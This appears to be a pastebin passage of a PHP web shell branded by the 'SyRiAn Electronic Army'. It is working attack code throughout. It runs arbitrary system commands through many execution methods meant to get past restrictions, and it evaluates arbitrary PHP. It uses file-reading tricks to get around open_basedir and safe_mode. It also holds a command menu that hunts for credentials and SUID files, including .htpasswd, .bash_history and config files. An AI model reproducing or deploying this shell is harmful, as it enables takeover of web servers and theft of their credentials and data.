  709.     $tempFile = md5(uniqid()).".bb";
  710.     copy($path,$tempFile);
  711.     $content = file_get_contents($tempFile);
  712.     unlink($tempFile);
  713.     return $content;
  714. }
  715. function fgetssF($path) {
  716.     while(($line = fgetss($path)) != false){$content .= $line;}
  717.     return $content;
  718. }
  719. function highlightFile($path) {
  720.     return highlight_file($path);
  721. }
  722. function mbSendEmail($path) {
  723.     if(function_exists('mb_send_mail')) {
  724.         $tempFile = uniqid();
  725.         $additional_param = "-C ".$path." -X ".getcwd()."/".$tempFile;
  726.         mb_send_mail("email@example.com", NULL, NULL, NULL, $additional_param);
  727.         $content = file_get_contents($tempFile);
  728.         unlink($tempFile);
  729.         return $content;
  730.     }
  731. }
  732. function DeleteFile($fileName) {
  733.     global $os;
  734.     if(function_exists('unlink'))
  735.     {$delete = unlink($fileName);}
  736.     if((!$delete) && ($os == 'Windows'))
  737.     {$delete = Exe("del $fileName"); }
  738.     else if((!$delete) && ($os == 'Linux'))
  739.     {$delete = Exe("rm -f $fileName");}
  740.     if($delete){return true;}else{return false;}
  741. }
  742. function CurlFileRead($path) {
  743.     $ch = curl_init("file://".$path."\x00".__FILE__);
  744.     var_dump(curl_exec($ch));
  745. }
  746. function FReadF($path) {
  747.     $file = fopen($path,'r+'); //Open The File
  748.     if(function_exists('fread')){htmlspecialchars(fread($file,filesize($file)));}
  749.     fclose($file);
  750. }
  751. function TempnameF($path) {
  752.     global $dir;
  753.     $temp = tempnam($dir, "cx");
  754.     if(copy("compress.zlib://".$path, $temp)) {
  755.         $handler = fopen($temp, "r");
  756.         $readFile = fread($handler, @filesize($temp));
  757.         fclose($handler);
  758.         $content .= htmlspecialchars($filename);
  759.         $content .= nl2br(htmlspecialchars($readFile));
  760.         $content .= htmlspecialchars($filename);
  761.         unlink($temp);
  762.         return $content;
  763.     }  
  764. }
  765. function Evaluation($eval) {
  766.     $eval = str_replace(array("<?php","<?","?>"),"",$eval);
  767.     $eval = eval($eval);
  768.     if($eval){return true;}else{return false;}
  769. }
  770. function Oracle() {
  771.     if(function_exists('ocilogon')){$oracle = '<font color="red">ON</font>';}
  772.     else {$oracle = '<font color="green">OFF</font>';}return $oracle;
  773. }
  774. function MsSQL() {
  775.     if(function_exists('mssql_connect')){$msSQL = '<font color="red">ON</font>';}
  776.     else {$msSQL = '<font color="green">OFF</font>';}return $msSQL;
  777. }
  778. function MySQL2() {
  779.     $mysql_try = function_exists('mysql_connect');
  780.     if($mysql_try){$mysql = '<font color="red">ON</font>';}
  781.     else {$mysql = '<font color="green">OFF</font>';}return $mysql;
  782. }
  783. function MSQL() {
  784.     if (function_exists('msql_connect')){$mSql = '<font color="red">ON</font>';}
  785.     else {$mSql = '<font color="green">OFF</font>';}return $mSql;
  786. }
  787. function MysqlI() {
  788.     if (function_exists('mysqli_connect')){$mysqli = '<font color="red">ON</font>';}
  789.     else {$mysqli = '<font color="green">OFF</font>';}return $mysqli;
  790. }
  791. function Gzip() {
  792.     if (function_exists('gzencode')){$gzip = '<font color="red">ON</font>';}
  793.     else {$gzip = '<font color="green">OFF</font>';}return $gzip;
  794. }
  795. function openBaseDir() {
  796.     $openBaseDir = ini_get("open_basedir");
  797.     if (!$openBaseDir){$openBaseDir = '<font color="green">OFF</font>';}
  798.     else {$openBaseDir = '<font color="red">ON</font>';}   
  799.     return $openBaseDir;
  800. }
  801. function Curl() {
  802.     if(extension_loaded('curl')){$curl = '<font color="red">ON</font>';}
  803.     else{$curl = '<font color="green">OFF</font>';}return $curl;
  804. }
  805. function magicQouts() {
  806.     if(function_exists('get_magic_quotes_gpc')){$mag = get_magic_quotes_gpc();}
  807.     if (empty($mag)){$mag = '<font color="green">OFF</font>';}
  808.     else {$mag= '<font color="red">ON</font>';}return $mag;
  809. }
  810. function SafeMode() {
  811.     $safe_mode = ini_get("safe_mode");
  812.     if (!$safe_mode){$safe_mode = '<font color="green">OFF</font>';}
  813.     else {$safe_mode = '<font color="red">ON</font>';}
  814.     return $safe_mode;
  815. }
  816. function DisableFunctions() {
  817.     $disfun = ini_get('disable_functions');
  818.     if (empty($disfun)){$disfun = '<font color="green">NONE</font>';}return $disfun;
  819. }
  820. function RegisterGlobals() {
  821.     if(ini_get('register_globals')){$registerg= '<font color="red">ON</font>';}
  822.     else{$registerg= '<font color="green">OFF</font>';}return $registerg;
  823. }
  824. function GetRealIP() {
  825.     if (getenv(HTTP_X_FORWARDED_FOR)){$ip=getenv(HTTP_X_FORWARDED_FOR);}
  826.     elseif (getenv(HTTP_CLIENT_IP)){$ip=getenv(HTTP_CLIENT_IP);}
  827.     else {$ip=getenv(REMOTE_ADDR);}
  828.     return $ip;
  829. }
  830. function SelectCommand($os) {
  831.     global $os;
  832.     if($os == 'Windows') {
  833.         echo "
  834.         <select name='alias' id='alias' onChange='AddAlias();' >
  835.         <option value=''>NONE</option> 
  836.         <option value='dir' >List Directory</option>
  837.         <option value='dir /s /w /b index.php'>Find index.php in current dir</option>
  838.         <option value='dir /s /w /b *config*.php'>Find *config*.php in current dir &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;  &nbsp;  &nbsp;  &nbsp;  &nbsp;</option>
  839.         <option value='netstat -an'>Show active connections</option>
  840.         <option value='net start'>Show running services</option>
  841.         <option value='tasklist'>Show Pro</option>
  842.         <option value='net user'>User accounts</option>
  843.         <option value='net view'>Show computers</option>
  844.         <option value='arp -a'>ARP Table</option>
  845.         <option value='ipconfig /all'>IP Configuration</option>
  846.         <option value='netstat -an'>netstat -an</option>
  847.         <option value='systeminfo'>System Informations</option>
  848.         <option value='getmac'>Get Mac Address</option>
  849.         </select>
  850.         ";
  851.     }
  852.     else {
  853.         echo "
  854.         <select name='alias' id='alias' onChange='AddAlias();' >
  855.         <option value=''>NONE</option> 
  856.         <option value='ls -la'>List dir</option>
  857.         <option value='cat /etc/hosts'>IP Addresses</option>
  858.         <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP</option>
  859.         <option value='lsattr -va'>list file attributes on a Linux second extended file system</option>
  860.         <option value='netstat -an | grep -i listen'>show opened ports</option>
  861.         <option value='find / -type f -perm -04000 -ls'>find all suid files</option>
  862.         <option value='find . -type f -perm -04000 -ls'>find suid files in current dir</option>
  863.         <option value='find / -type f -perm -02000 -ls'>find all sgid files</option>
  864.         <option value='find . -type f -perm -02000 -ls'>find sgid files in current dir</option>
  865.         <option value='find / -type f -name config.inc.php'>find config.inc.php files</option>
  866.         <option value='find / -type f -name \"config*\"'>find config* files</option>
  867.         <option value='find . -type f -name \"config*\"'>find config* files in current dir</option>
  868.         <option value='find / -perm -2 -ls'>find all writable folders and files</option>
  869.         <option value='find . -perm -2 -ls'>find all writable folders and files in current dir</option>
  870.         <option value='find / -type f -name service.pwd'>find all service.pwd files</option>
  871.         <option value='find . -type f -name service.pwd'>find service.pwd files in current dir</option>
  872.         <option value='find / -type f -name .htpasswd'>find all .htpasswd files</option>
  873.         <option value='find . -type f -name .htpasswd'>find .htpasswd files in current dir</option>
  874.         <option value='find / -type f -name .bash_history'>find all .bash_history files</option>
  875.         <option value='find . -type f -name .bash_history'>find .bash_history files in current dir</option>
  876.         <option value='find / -type f -name .fetchmailrc'>find all .fetchmailrc files</option>
  877.         <option value='find . -type f -name .fetchmailrc'>find .fetchmailrc files in current dir</option>
  878.         <option value='locate httpd.conf'>locate httpd.conf files</option>
  879.         <option value='locate vhosts.conf'>locate vhosts.conf files</option>
  880.         <option value='locate proftpd.conf'>locate proftpd.conf files</option>
  881.         <option value='locate psybnc.conf'>locate psybnc.conf files</option>
  882.         <option value='locate my.conf'>locate my.conf files</option>
  883.         <option value='locate admin.php'>locate admin.php files</option>
  884.         <option value='locate cfg.php'>locate cfg.php files</option>
  885.         <option value='locate conf.php'>locate conf.php files</option>
  886.         <option value='locate config.dat'>locate config.dat files</option>
  887.         <option value='locate config.php'>locate config.php files</option>
  888.         <option value='locate config.inc'>locate config.inc files</option>
  889.         <option value='locate config.inc.php'>locate config.inc.php</option>
  890.         <option value='locate config.default.php'>locate config.default.php files</option>
  891.         <option value='locate config'>locate config* files </option>
  892.         <option value='locate \".conf\"'>locate .conf files</option>
  893.         <option value='locate \".pwd\"'>locate .pwd files</option>
  894.         <option value='locate \".sql\"'>locate .sql files</option>
  895.         <option value='locate \".htpasswd\"'>locate .htpasswd files</option>
  896.         <option value='locate \".bash_history\"'>locate .bash_history files</option>
  897.         <option value='locate \".mysql_history\"'>locate .mysql_history files</option>
  898.         <option value='locate \".fetchmailrc\"'>locate .fetchmailrc files</option>
  899.         <option value='locate backup'>locate backup files</option>
  900.         <option value='locate dump'>locate dump files</option>
  901.         <option value='locate priv'>locate priv files</option>
  902.         </select>
  903.         ";
  904.     }
  905. }
  906. function CSS($sh3llColor) {
  907.     $css =  "
  908.     <style>
  909.     BODY
  910.     {
  911.         FONT-FAMILY: Verdana;
  912.         margin: 2;
  913.         background-color: #000000;
  914.         color:white;
  915.         font-size:10pt;
  916.     }
  917.     sy  
  918.     {
  919.         color:".$sh3llColor.";
  920.         font-size:7pt;
  921.     }
  922.     #Box
  923.     {
  924.         color:".$sh3llColor.";
  925.         background-color:#000;
  926.         font-size:14px;
  927.         font-weight:bold;
  928.  
  929.         border:none;
  930.     }
  931.     table
  932.     {
  933.         border:none;
  934.         BORDER:  #eeeeee  outset;
  935.         BACKGROUND-COLOR: #000000;
  936.         color: #cccccc;
  937.         font-size:10px;
  938.     }
  939.     tr
  940.     {
  941.         BORDER-RIGHT:  #cccccc 1px solid;
  942.         BORDER-TOP:    #cccccc 1px solid;
  943.         BORDER-LEFT:   #cccccc 1px solid;
  944.         BORDER-BOTTOM: #cccccc 1px solid;
  945.         color: #ffffff;
  946.     }
  947.     td
  948.     {
  949.         BORDER-RIGHT:  #cccccc 1px solid;
  950.         BORDER-TOP:    #cccccc 1px solid;
  951.         BORDER-LEFT:   #cccccc 1px solid;
  952.         BORDER-BOTTOM: #cccccc 1px solid;
  953.         color: #cccccc;
  954.     }
  955.  
  956.     input
  957.     {
  958.         BORDER-RIGHT:  ".$sh3llColor." 1px solid;
  959.         BORDER-TOP:    ".$sh3llColor." 1px solid;
  960.         BORDER-LEFT:   ".$sh3llColor." 1px solid;
  961.         BORDER-BOTTOM: ".$sh3llColor." 1px solid;
  962.         BACKGROUND-COLOR: #333333;
  963.         font: 9pt tahoma;
  964.         color: #ffffff;
  965.     }
  966.     select
  967.     {
  968.         BORDER-RIGHT:  #ffffff 1px solid;
  969.         BORDER-TOP:    #999999 1px solid;
  970.         BORDER-LEFT:   #999999 1px solid;
  971.         BORDER-BOTTOM: #ffffff 1px solid;
  972.         BACKGROUND-COLOR: #000000;
  973.         font: 9pt tahoma;
  974.         color: #CCCCCC;;
  975.     }
  976.     submit
  977.     {
  978.         BORDER:  1px outset buttonhighlight;
  979.         BACKGROUND-COLOR: #272727;
  980.         width: 40%;
  981.         color: #cccccc;
  982.     }
  983.     textarea
  984.     {
  985.         BORDER-RIGHT:  #ffffff 1px solid;
  986.         BORDER-TOP:    #999999 1px solid;
  987.         BORDER-LEFT:   #999999 1px solid;
  988.         BORDER-BOTTOM: #ffffff 1px solid;
  989.         BACKGROUND-COLOR: #333333;
  990.         color: #ffffff;
  991.     }
  992.     .Save{
  993.         width:500px;   
  994.         border-color:red;
  995.     }
  996.     A:link {COLOR:".$sh3llColor."; TEXT-DECORATION: none;}
  997.     A:visited { COLOR:".$sh3llColor."; TEXT-DECORATION: none;}
  998.     A:active {COLOR:".$sh3llColor."; TEXT-DECORATION: none;}
  999.     A:hover {color:blue;TEXT-DECORATION: none;}
  1000.     </style>
  1001.     <script>
  1002.     function openPHPInfo(){my_window= window.open (\"?info=getPhpInfo\",\"PHP Info\",\"width=800,height=600,scrollbars=1\");    }
  1003.     function AddAlias(){document.getElementById('CMD_Line').value = document.getElementById('alias').value; }
  1004.     function addUploadInput(){document.getElementById('uploadInput').innerHTML += '<input type=\'file\' name=\'uploadfile[]\'>';    }
  1005.     function change_dir_mode() {
  1006.         var dir_mode = document.getElementById('dir_mode').value;
  1007.         document.location = '?dir_mode='+dir_mode;
  1008.     }
  1009.     </script>
  1010.     ";
  1011.     return $css;
  1012. }
  1013. function filter($string) {
  1014.     if(get_magic_quotes_gpc() != 0){return stripslashes($string);   }
  1015.     else{return $string;    }
  1016. }
  1017. function footer() {
  1018.     echo '
  1019.     <table width="100%">
  1020.     <tr>
  1021.     <td width="100%"><center>
  1022.     <sy>  ~~<< </sy>SyRiAn Electronic Army<sy> >>~~</sy></b><br/>
  1023.     <sy>  ~~<< </sy><a href="http://www.syrian-es.com" target="_blank">www.syrian-es.com</a><sy> >>~~</sy></b><br />
  1024.     <sy>  ~~<< </sy>sea.coders@hotmail.com<sy> >>~~</sy></b>
  1025.     </center></td>
  1026.     </tr>
  1027.     </table>
  1028.     </body></html>
  1029.     ';
  1030. }
  1031. function print_exe_method() {
  1032.     global $os; global $exec_method;
  1033.     if($os == "Linux") {
  1034.         ?>
  1035.         <select name="exe_method" >
  1036.             <option value="exec" <?php if($exec_method == "exec") {echo "selected";} ?>>exec()</option>
  1037.             <option value="system" <?php if($exec_method == "system") {echo "selected";} ?>>system</option>
  1038.             <option value="shell_exec" <?php if($exec_method == "shell_exec") {echo "selected";} ?>>shell_exec</option>
  1039.             <option value="passthru" <?php if($exec_method == "passthru") {echo "selected";} ?>>passthru()</option>
  1040.             <option value="proc_open" <?php if($exec_method == "proc_open") {echo "selected";} ?>>proc_open()</option>
  1041.             <option value="popen" <?php if($exec_method == "popen") {echo "selected";} ?>>popen()</option>
  1042.             <option value="perl" <?php if($exec_method == "perl") {echo "selected";} ?>>perl</option>
  1043.             <option value="python" <?php if($exec_method == "python") {echo "selected";} ?>>python</option>
  1044.         </select>
  1045.         <?php
  1046.     } else {
  1047.         ?>
  1048.         <select name="exe_method" >
  1049.             <option value="exec" <?php if($exec_method == "exec") {echo "selected";} ?>>exec()</option>
  1050.             <option value="system" <?php if($exec_method == "system") {echo "selected";} ?>>system()</option>
  1051.             <option value="shell_exec" <?php if($exec_method == "shell_exec") {echo "selected";} ?>>shell_exec()</option>
  1052.             <option value="passthru" <?php if($exec_method == "passthru") {echo "selected";} ?>>passthru()</option>
  1053.             <option value="proc_open" <?php if($exec_method == "proc_open") {echo "selected";} ?>>proc_open()</option>
  1054.             <option value="popen" <?php if($exec_method == "popen") {echo "selected";} ?>>popen()</option>
  1055.             <option value="win_shell_execute" <?php if($exec_method == "win_shell_execute") {echo "selected";} ?>>win_shell_execute()</option>
  1056.             <option value="win32_create_service" <?php if($exec_method == "win32_create_service") {echo "selected";} ?>>win32_create_service()</option>
  1057.             <option value="ffi" <?php if($exec_method == "ffi") {echo "selected";} ?>>ffi</option>
  1058.             <option value="perl" <?php if($exec_method == "perl") {echo "selected";} ?>>perl</option>
  1059.             <option value="python" <?php if($exec_method == "python") {echo "selected";} ?>>python</option>
  1060.             <option value="slash_bypass <?php if($exec_method == "slash_bypass") {echo "selected";} ?>">slash bypass</option>
  1061.         </select>
  1062.         <?php
  1063.     }
  1064. }
  1065. function Exe($command) {
  1066.     global $dir;global $os;global $exec_method;
  1067.     $command = filter($command);
  1068.    
  1069.     if($exec_method == "exec") {
  1070.         exec($command,$output);echo join("\n",$output);
  1071.     } else if($exec_method == "system") {
  1072.         system($command);
  1073.     } else if($exec_method == "shell_exec") {
  1074.         echo shell_exec($command);
  1075.     } else if($exec_method == "passthru") {
  1076.         passthru($command);
  1077.     } else if($exec_method == "proc_open") {
  1078.         echo proc_exec($command,$dir);
  1079.     } else if($exec_method == "popen") {
  1080.         $fp = popen($command,"r");{while(!feof($fp)){$result.=fread($fp,1024);}pclose($fp);}echo convert_cyr_string($result,"d","w");
  1081.     } else if($exec_method == "win_shell_execute") {
  1082.         echo winshell($command);
  1083.     } else if($exec_method == "win32_create_service") {
  1084.         echo srvshell($command);
  1085.     } else if($exec_method == "ffi") {
  1086.         echo ffishell($command);
  1087.     } else if($exec_method == "perl") {
  1088.         echo perlshell($command);
  1089.     } else if($exec_method == "python") {
  1090.         echo python_eval("import os\nos.system('".$command."')");
  1091.     } else if($exec_method == "slash_bypass") {
  1092.         echo slashBypass($command);
  1093.     }
  1094. }
  1095. function proc_exec($com , $dir) {
  1096.     $start_pipe=array(0=>array("pipe","w"),1=>array("pipe","w"));
  1097.     $process=proc_open($com,$start_pipe,$pipes,$dir,NULL);
  1098.     return stream_get_contents($pipes[1]);
  1099. }
  1100. function winshell($command) {
  1101.     $name=whereistmP()."\\".uniqid('NJ');
  1102.     win_shell_execute('cmd.exe','',"/C $command >\"$name\"");
  1103.     sleep(1);
  1104.     $exec=file_get_contents($name);
  1105.     DeleteFile($name);
  1106.     return $exec;
  1107. }
  1108. function srvshell($command) {
  1109.     $name=whereistmP()."\\".uniqid('NJ');
  1110.     $n=uniqid('NJ');
  1111.     $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
  1112.     win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
  1113.     win32_start_service($n);
  1114.     win32_stop_service($n);
  1115.     win32_delete_service($n);
  1116.     while(!file_exists($name))sleep(1);
  1117.     $exec=file_get_contents($name);
  1118.     DeleteFile($name);
  1119.     return $exec;
  1120. }
  1121. function ffishell($command) {
  1122.     $name=whereistmP()."\\".uniqid('NJ');
  1123.     $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  1124.     $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
  1125.     while(!file_exists($name))sleep(1);
  1126.     $exec=file_get_contents($name);
  1127.     DeleteFile($name);
  1128.     return $exec;
  1129. }
  1130. function perlshell($command) {
  1131.     $perl=new perl();
  1132.     ob_start();
  1133.     $perl->eval("system('".$command."')");
  1134.     $exec=ob_get_contents();
  1135.     ob_end_clean();
  1136.     return $exec;
  1137. }
  1138. function slashBypass($cmd) {
  1139.     GenerateFile("cmd.bat","$cmd>sy3.txt"."\r\n exit");
  1140.     exec("\start cmd.bat");
  1141.     $content = file_get_contents('sy3.txt');
  1142.     unlink('sy3.txt');
  1143.     return $content;
  1144. }
  1145. function GenerateFile($name,$content) {
  1146.     if(function_exists('fopen') && function_exists('fclose')) {
  1147.         $file = fopen($name,"w+");
  1148.         if($file) {
  1149.             if(function_exists('fwrite')){$writeFile = fwrite($file,$content); }   
  1150.             else if (function_exists('fputs')){$writeFile = fputs($file,$content); }
  1151.             else if (function_exists('file_put_contents')){$writeFile = file_put_contents($file,$content);}
  1152.             if(!$writeFile){return false;}
  1153.         }
  1154.         else{return false;}fclose($file);return true;
  1155.     }
  1156. }
  1157. function ScanDirs() {
  1158.     global $os; global $dir;global $safeMode;global $dir_mode;
  1159.     if($dir_mode == "cmd"){if($os == "Windows"){Exe('dir');}else{ Exe('ls -lia');}}
  1160.     else {
  1161.         $result .= "Perms   Size    Time        Owner/Group R/W Type    File
  1162. -----------------------------------------------------------------------------
  1163. ";
  1164.         $handel = opendir($dir);
  1165.         while(($file = readdir($handel))!= false)
  1166.         {
  1167.             $size = filesize($file);
  1168.             if(filetype($file) == "dir"){$type = "<DIR>";}else {$type = "<FILE>";}
  1169.             if(fileowner($file)){$owner = fileowner($file);}else{$owner = "NONE";}
  1170.             if(filegroup($file)){$group = filegroup($file);}else{$group = "NONE";}
  1171.             $perms = fileperms($file);
  1172.             $time = date("y/m/d", filectime($file));
  1173.             if(is_writable($file)){$isWritable = "Y";}else{$isWritable = "N";}
  1174.             if(is_readable($file)){$isReadable = "Y";}else{$isReadable = "N";}
  1175.             $result .= $perms." ".$size."   ".$time."   ".$owner."/".$group."   ".$isReadable."/".$isWritable." ".$type."   ".$file."
  1176. ";
  1177.         }
  1178.     }
  1179.     return $result;
  1180. }
  1181. echo footer();
  1182. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement